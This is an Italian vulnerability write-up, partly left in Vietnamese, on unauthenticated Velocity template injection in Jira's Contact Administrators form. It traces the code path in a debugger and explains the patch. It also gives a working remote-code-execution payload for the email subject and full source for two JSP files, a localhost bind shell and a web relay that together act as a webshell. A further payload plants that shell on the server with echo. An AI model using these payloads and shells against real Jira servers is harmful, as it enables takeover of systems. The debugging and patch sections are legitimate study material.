
Iniezione di template non autenticata in Atlassian Jira
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)
set JVM_SUPPORT_RECOMMENDED_ARGS= nel file ./bin/setenv.bat (o analogamente nel file ./bin/setenv.sh su Linux) per poter eseguire il debug remotoset JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Remote JVM Debug con host e port localhost:5005 e Command line arguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
Eseguire il file ./bin/config.bat (o il file config.sh su Linux) e impostare "Jira home" sulla propria cartella jira home

Eseguire il file ./bin/start-jira.bat (o ./bin/start-jira.sh su Linux). Verificate che la versione di Java e le porte 8080 e 5005 siano libere, altrimenti non si avvierà!
Scegliamo la modalità private

A questo punto, ricordate di usare un indirizzo email in grado di ricevere email :)

Configurate e testate la connessione

In http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa abilitiamo la funzionalità Contact Administrators Form

Ho solo annotato alcune note per la compilazione, potete consultare compilare Jira dal sorgente
Dopo aver letto Advisory sappiamo che questo bug si trova in ContactAdministrators e SendBulkMail (quest'ultimo lo salto perché richiede autenticazione). Quindi comincio a testare la funzionalità ContactAdministrators e catturo la richiesta.

Vedo che la richiesta va a /secure/ContactAdministrators.jspa, quindi guardo il file ./atlassian-jira/WEB-INF/web.xml per vedere a quale classe verrà inoltrata questa richiesta


Quindi la richiesta verrà gestita da JiraWebworkActionDispatcher, così metto un breakpoint su init e server in questa classe e avvio il debug

Così il programma si ferma nella funzione server, traccio un po' e il programma salta in ContactAdministrators.doExecute()

Poi passa a send, dove il programma elenca gli account admin attivi

Poi il programma passa alla funzione sendTo. Qui vediamo che il programma crea un MailQueueItem e lo aggiunge a mailQueue.

Il programma chiama la funzione EmailBuilder.withSubject. Qui la stringa dell'oggetto dell'email (inviata dall'attaccante) viene convertita da String a TemplateSources e assegnata al parametro subjectTemplate di EmailBuilder.

Nella funzione renderLater il programma crea un EmailRenderer e lo usa per creare un RenderingMailQueueItem

Da qui, tornando alla funzione ContactAdministrators.sendTo. Dopo aver creato un MailQueueItem, il programma aggiunge l'elemento a mailQueue e torna alla funzione doExecute per il redirect. Seguendo questo flusso di debug non possiamo saltare alla parte in cui il programma renderizza l'email, quindi non possiamo arrivare al punto in cui avviene l'iniezione del template. Cosa devo fare per poter seguire l'elaborazione dell'email???
Vedo che in EmailRenderer c'è la funzione renderNow (il programma chiama solo renderLater); suppongo che quando l'email in coda viene chiamata per essere renderizzata, segua lo stesso flusso di renderNow, quindi decido di tracciare a partire dalla funzione renderNow

Da renderNow il programma chiama EmailRenderer.render(). Metto un breakpoint qui e ripeto la richiesta per vedere se il programma arriva davvero fin qui.

Fortunatamente il programma ha seguito la direzione che avevo previsto. Successivamente il programma chiama renderEmailSubject

Poi il programma chiama DefaultVelocityTemplatingEngine.render(this.subjectTemplate)

Arriva a DefaultVelocityTemplatingEngine.applying e DefaultVelocityTemplatingEngine.asPlainText

Continuando, chiama asPlainText(Writer writer)

Arriva a toWriterImpl; poiché writer che passo è un Fragment, il programma salta al ramo else
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
if (this.source instanceof File) {
File template = (File)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
} else if (this.source instanceof Fragment) {
Fragment fragment = (Fragment)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
}
}
DefaultVelocityManager.writeEncodedBodyForContent

VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader). Qui il programma ha creato un SimpleNode da Reader

render, dove chiama nodeTree.render(ica, writer); per analizzare il template Velocity, quindi qui abbiamo l'iniezione di template!public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.pushCurrentTemplateName(logTag);
try {
try {
nodeTree.init(ica, this);
} catch (TemplateInitException var13) {
throw new ParseErrorException(var13);
} catch (RuntimeException var14) {
throw var14;
} catch (Exception var15) {
String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
this.getLog().error(msg, var15);
throw new VelocityException(msg, var15);
}
nodeTree.render(ica, writer); ### Có thể RCE ở đây ###
} finally {
ica.popCurrentTemplateName();
}
return true;
}
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

ContactAdministrators: doExecute -> send -> sendTo
-> EmailBuilder -> renderLater
RenderingMailQueueItem: send
-> emailRenderer: render -> renderEmailSubject
-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
-> DefaultVelocityManager: writeEncodedBodyForContent
->VelocityEngine: evaluate
> RuntimeInstance: evaluate -> evaluate -> render
=> SimpleNode: render
Quindi possiamo ottenere RCE sul server Jira, ma se vogliamo una shell e il server non ha connettività outbound, cosa fare? In questo caso non possiamo creare una bind/reverse shell come al solito perché non abbiamo una porta verso internet.
Ho ricevuto un suggerimento da @honson97: "usare una web JSP per ricevere l'input dall'attaccante e poi passarlo a una bind shell indipendente che ascolta proprio sulla localhost del server".

Da quest'idea, ho scritto due file JSP: web.jsp e blind.jsp. blind.jsp funge da blind shell, ascolta sempre su localhost:4444, riceve i comandi da passare a cmd/base e restituisce l'output alla JSP web.jsp, che è lo strumento con cui l'attaccante invia i comandi e legge l'output.
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
Socket socket = new Socket( "127.0.0.1", 4444 );
OutputStream output = socket.getOutputStream();
PrintWriter writer = new PrintWriter(output, true);
writer.println(request.getParameter("cmd"));
InputStream input = socket.getInputStream();
DataInputStream dis = new DataInputStream(input);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
socket.close();
%>
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector
{
InputStream md;
OutputStream ao;
StreamConnector( InputStream md, OutputStream ao )
{
this.md = md;
this.ao = ao;
}
public void run()
{
BufferedReader yw = null;
BufferedWriter enf = null;
try
{
yw = new BufferedReader( new InputStreamReader( this.md ) );
enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
char buffer[] = new char[8192];
int length = yw.read( buffer, 0, buffer.length);
enf.write( buffer, 0, length );
enf.flush();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
Process process = Runtime.getRuntime().exec( ShellPath );
while (true) {
Socket client_socket = server_socket.accept();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
Thread.sleep(1000);
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
client_socket.close();
}
} catch( Exception e ) {}
%>
Successivamente carichiamo la shell sul server; dato che stiamo considerando il caso senza outbound, possiamo caricare i file solo con il comando echo. Prima rimuovo i caratteri "\n" e i caratteri speciali di escape (con Python).
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)
quindi copio la stringa ottenuta e la inserisco nel payload
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
Dopo aver caricato i due file web.jsp e bind.jsp, accediamo a /bind.jsp e poi in un'altra scheda a /web.jsp?cmd=COMMAND per testare la shell

In ContactAdministrators.sendTo(), invece di passare direttamente l'input del client alla funzione EmailBuilder.withSubject per trasformarlo in sorgenti di template (renderizzabili), nella versione corretta gli sviluppatori hanno inserito l'input come contesto stringa e passato solo la stringa "$subject" alla funzione EmailBuilder.withSubject. Durante il rendering, il sistema esegue il template "$subject", cioè carica il subject - contesto stringa (input del client) - senza renderizzarlo. In altre parole, il programma tratta l'input come una stringa, non come un template renderizzabile.
Versione vulnerabile
Versione corretta